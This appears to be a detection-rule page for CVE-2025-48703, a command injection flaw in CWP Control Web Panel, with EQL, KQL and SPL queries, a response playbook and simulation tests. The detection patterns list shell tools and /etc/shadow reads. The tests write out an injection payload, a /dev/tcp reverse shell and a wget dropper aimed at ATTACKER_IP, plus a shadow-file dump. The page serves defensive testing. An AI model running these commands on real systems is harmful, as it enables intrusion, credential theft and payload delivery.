CVE-2025-48703 Elastic Security · Elastic

Detect CVE-2025-48703 - CWP Control Web Panel OS Command Injection in Elastic Security

Detects exploitation of CVE-2025-48703, an OS command injection vulnerability (CWE-78) in CWP Control Web Panel. This KEV-listed vulnerability allows attackers to inject and execute arbitrary OS commands through the web panel interface, potentially leading to full server compromise.

MITRE ATT&CK

Tactic
Execution Persistence Privilege Escalation

Elastic Detection Query

Elastic Security (Elastic)
eql
sequence by host.name with maxspan=30s
  [process where event.type == "start"
    and process.parent.name : ("httpd", "apache2", "nginx", "cwpsrv", "php", "php-fpm")
    and process.name : ("bash", "sh", "dash", "perl", "python*", "ruby", "curl", "wget", "nc", "ncat", "socat")]
  [process where event.type == "start"
    and process.command_line : ("*id*", "*whoami*", "*passwd*", "*shadow*", "*/tmp/*", "*/dev/shm*", "*base64*", "*wget*", "*curl*")]
critical severity medium confidence

EQL sequence detecting a two-stage OS command injection pattern: web process spawning a shell interpreter followed by execution of reconnaissance or data exfiltration commands on the same host within 30 seconds.

Data Sources

Elastic Endpoint SecurityAuditbeatFilebeat

Required Tables

logs-endpoint.events.process-*auditbeat-*

False Positives & Tuning

  • Legitimate CWP server management operations executed through the web interface
  • System health check scripts triggered by the CWP monitoring subsystem
  • Authorized remote script execution via CWP terminal emulator feature
  • Third-party integrations that execute shell commands through the CWP API

Other platforms for CVE-2025-48703


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CWP Command Injection via API Parameter

    Expected signal: Linux audit log EXECVE event showing 'id' executed by the web server user (www-data/apache/cwp); web access log entry with URL-encoded semicolon in query parameter

  2. Test 2Reverse Shell Establishment Post-CWP Exploitation

    Expected signal: Process creation event for bash spawned by www-data user with -i flag and /dev/tcp redirect; outbound TCP connection to attacker IP on port 4444 from the CWP host

  3. Test 3Credential Harvesting via /etc/shadow Access

    Expected signal: Audit log showing www-data user attempting to read /etc/shadow; base64 encoding command in process arguments; file access event on /etc/shadow

  4. Test 4Dropper Download via Injected wget Command

    Expected signal: wget process spawned by www-data with external URL argument; outbound HTTP GET to attacker-controlled server; file creation event in /tmp by web service user; chmod execution on downloaded file


Response Playbook

Triage

  1. Identify the source IP(s) making requests to the CWP web interface around the time of the alert and cross-reference against known admin IPs and threat intelligence feeds.
  2. Review CWP web server access logs (/usr/local/cwpsrv/logs/ or /var/log/apache2/) for unusual parameter values containing shell metacharacters (;, |, &&, $(), backticks) in GET/POST requests.
  3. Examine the process tree on the affected CWP host to determine what commands were executed, under which user context, and whether persistence mechanisms were established (cron entries, new user accounts, SSH keys).
  4. Check for outbound network connections from the CWP host to external IPs immediately following the suspicious process execution, particularly on non-standard ports indicative of reverse shells or C2.

Containment

  1. Immediately isolate the affected CWP host from the network at the firewall or hypervisor level to prevent lateral movement or data exfiltration while preserving forensic state.
  2. Rotate all credentials stored on or accessible from the CWP host, including database passwords, API keys, and SSH keys, as the command injection may have exposed them via /etc/shadow or environment variables.
  3. Suspend all CWP user accounts except the primary owner and require re-authentication with MFA before restoring access after patching.

Evidence Collection

  1. Capture a full memory dump of the CWP host process space and disk image before any remediation to preserve volatile evidence of the injected command payload and any dropped files.
  2. Collect CWP application logs, web server access logs, Linux audit logs (auditd), and bash history for all users present on the system at the time of the incident.
  3. Export running process list, active network connections (netstat/ss), cron jobs, /etc/passwd, /etc/shadow, and authorized_keys files from all user home directories.

Escalation Criteria

  • !Escalate immediately if evidence shows the attacker achieved root-level command execution, established persistence (new cron jobs, backdoor accounts, SSH keys), or accessed /etc/shadow.
  • !Escalate to incident response team if outbound C2 connections are confirmed or if lateral movement to other hosts in the environment is detected from the compromised CWP host.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >CWP web server access logs containing requests with shell metacharacters in parameter values
  • >Linux audit log entries (type=EXECVE) showing processes spawned by httpd/php-fpm with unusual arguments
  • >New files in /tmp/ or /dev/shm/ created by the web server user account
  • >Modified /etc/passwd, /etc/crontab, or ~/.ssh/authorized_keys post-exploitation
  • >Bash history files for cwp or www-data user accounts showing injected commands

Tuning Guidance

Start by whitelisting known CWP administrative IP ranges to reduce false positives from legitimate admin activity. Tune the parent process filter to match your specific CWP installation's web server binary path (default is /usr/local/cwpsrv/). If CWP runs automated backup scripts via cron under the web user, add those specific command patterns to an exclusion list. Increase confidence to 'high' if your CWP host is not regularly administered via the web terminal feature, as legitimate shell spawning from the web process would be rare in that environment.


Hunting Queries

Proactive hunt across 7 days for web service user accounts (www-data, apache, cwp) executing download utilities, shell tools, or accessing sensitive files — indicative of either historical exploitation or ongoing post-exploitation activity.

Hunting — KQL
kql
Syslog
| where TimeGenerated > ago(7d)
| where SyslogMessage matches regex @"(httpd|cwpsrv|php-fpm).*(execve|exec|system|popen)"
    or SyslogMessage matches regex @"uid=\d+\(www-data\|apache\|cwp\).*(wget|curl|nc |ncat|/tmp/|base64)"
| project TimeGenerated, Computer, SyslogMessage
| order by TimeGenerated desc
Hunting — SPL
spl
index=os sourcetype=linux_audit type=EXECVE
| eval cmd_str=mvjoin(a*, " ")
| where match(cmd_str, "wget|curl|nc |ncat|/etc/shadow|/tmp/|base64")
| search uid IN ("www-data", "apache", "cwp", "nobody")
| table _time, host, uid, cmd_str
| sort -_time

Atomic Red Team Tests

Test 1 CWP Command Injection via API Parameter
linux

Simulates OS command injection through a CWP API endpoint by appending shell metacharacters to a user-controlled parameter. Tests whether the web application sanitizes input before passing it to shell execution functions.

Command

bash
curl -s -k 'http://TARGET_CWP_HOST:2086/cwp-api/endpoint?param=value%3Bid%3E/tmp/cwp_rce_test.txt' -H 'Cookie: session=VALID_SESSION' && sleep 2 && cat /tmp/cwp_rce_test.txt

Cleanup

bash
rm -f /tmp/cwp_rce_test.txt

Expected Telemetry

Linux audit log EXECVE event showing 'id' executed by the web server user (www-data/apache/cwp); web access log entry with URL-encoded semicolon in query parameter

Expected Detection

Alert fires on process spawn of 'id' command with parent process httpd/cwpsrv; Syslog entry showing anomalous child process

Test 2 Reverse Shell Establishment Post-CWP Exploitation
linux

Simulates the attacker establishing a reverse shell after successful command injection. Tests network monitoring and process-based detections for outbound shell connections from web server context.

Command

bash
sudo -u www-data bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'

Cleanup

bash
kill $(pgrep -f 'bash -i.*4444'); iptables -D OUTPUT -d ATTACKER_IP -j DROP 2>/dev/null || true

Expected Telemetry

Process creation event for bash spawned by www-data user with -i flag and /dev/tcp redirect; outbound TCP connection to attacker IP on port 4444 from the CWP host

Expected Detection

CrowdStrike/EDR alert on reverse shell pattern; network detection for outbound connection on non-standard port from web service user

Test 3 Credential Harvesting via /etc/shadow Access
linux

Simulates post-exploitation credential harvesting by accessing /etc/shadow, a common attacker goal after achieving OS command execution via web application injection.

Command

bash
sudo -u www-data bash -c 'cat /etc/shadow > /tmp/.s 2>&1; base64 /tmp/.s 2>/dev/null || echo PERMISSION_DENIED' && rm -f /tmp/.s

Cleanup

bash
rm -f /tmp/.s

Expected Telemetry

Audit log showing www-data user attempting to read /etc/shadow; base64 encoding command in process arguments; file access event on /etc/shadow

Expected Detection

Alert on web service account accessing /etc/shadow; detection rule firing on base64 encoding following sensitive file read in same session context

Test 4 Dropper Download via Injected wget Command
linux

Simulates a second-stage payload download using wget executed through command injection, a common pattern for deploying web shells, cryptominers, or implants after initial exploitation.

Command

bash
sudo -u www-data bash -c 'wget -q http://ATTACKER_IP:8080/payload.sh -O /tmp/.payload.sh && chmod +x /tmp/.payload.sh' 2>&1; ls -la /tmp/.payload.sh 2>/dev/null || echo 'Download blocked'

Cleanup

bash
rm -f /tmp/.payload.sh

Expected Telemetry

wget process spawned by www-data with external URL argument; outbound HTTP GET to attacker-controlled server; file creation event in /tmp by web service user; chmod execution on downloaded file

Expected Detection

Alert on wget/curl executed by web server user; network detection for outbound HTTP from CWP host to unknown external IP; file creation in /tmp by non-root web process

Related Detections